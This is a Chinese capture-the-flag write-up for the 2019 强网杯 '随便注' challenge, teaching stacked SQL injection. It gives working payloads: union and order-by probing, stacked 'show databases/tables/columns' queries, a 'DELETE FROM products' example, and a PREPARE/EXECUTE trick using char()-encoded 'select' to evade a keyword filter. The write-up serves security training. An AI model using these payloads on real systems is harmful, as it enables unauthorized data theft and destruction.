• [强网杯2019]随便注 SQL堆叠注入


    堆叠注入

    SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

    访问

     

    输入1

     

    输入1’

     

    发现报错,构造1’ order by 2 # 发现3时报错,说明字段为2

     

    查看回显

    1’ union select 1,2 #

     

    返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了

    尝试堆叠注入

    1';show databases;#

     

    查看表

    1';show tables;#

     

    查看字段

    1';show columns from words;#

     

     

    使用预定SQL查询

     

    PREPARE name from '[my sql sequece]';   //预定义SQL语句

    EXECUTE name;  //执行预定义SQL语句

    (DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL语句

    char()

    cancat() //连接字符

    char(115,101,108,101,99,116)<----->'select'

    1';PREPARE name from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE name;#

     

  • 相关阅读:
    如何使用命令行备份SAP HANA数据库
    Rootkit介绍
    web渗透测试基本步骤
    IIS服务器的安全保护措施
    渗透测试的流程
    Kali Linux之常见后门工具介绍
    中间人攻击(MITM)之数据截获原理
    口令破解工具
    常见渗透测试工具集成系统简介
    Kali Linux之使用SET快捷生成钓鱼网站方法
  • 原文地址:https://www.cnblogs.com/Lee-404/p/12757545.html
Copyright © 2020-2023  润新知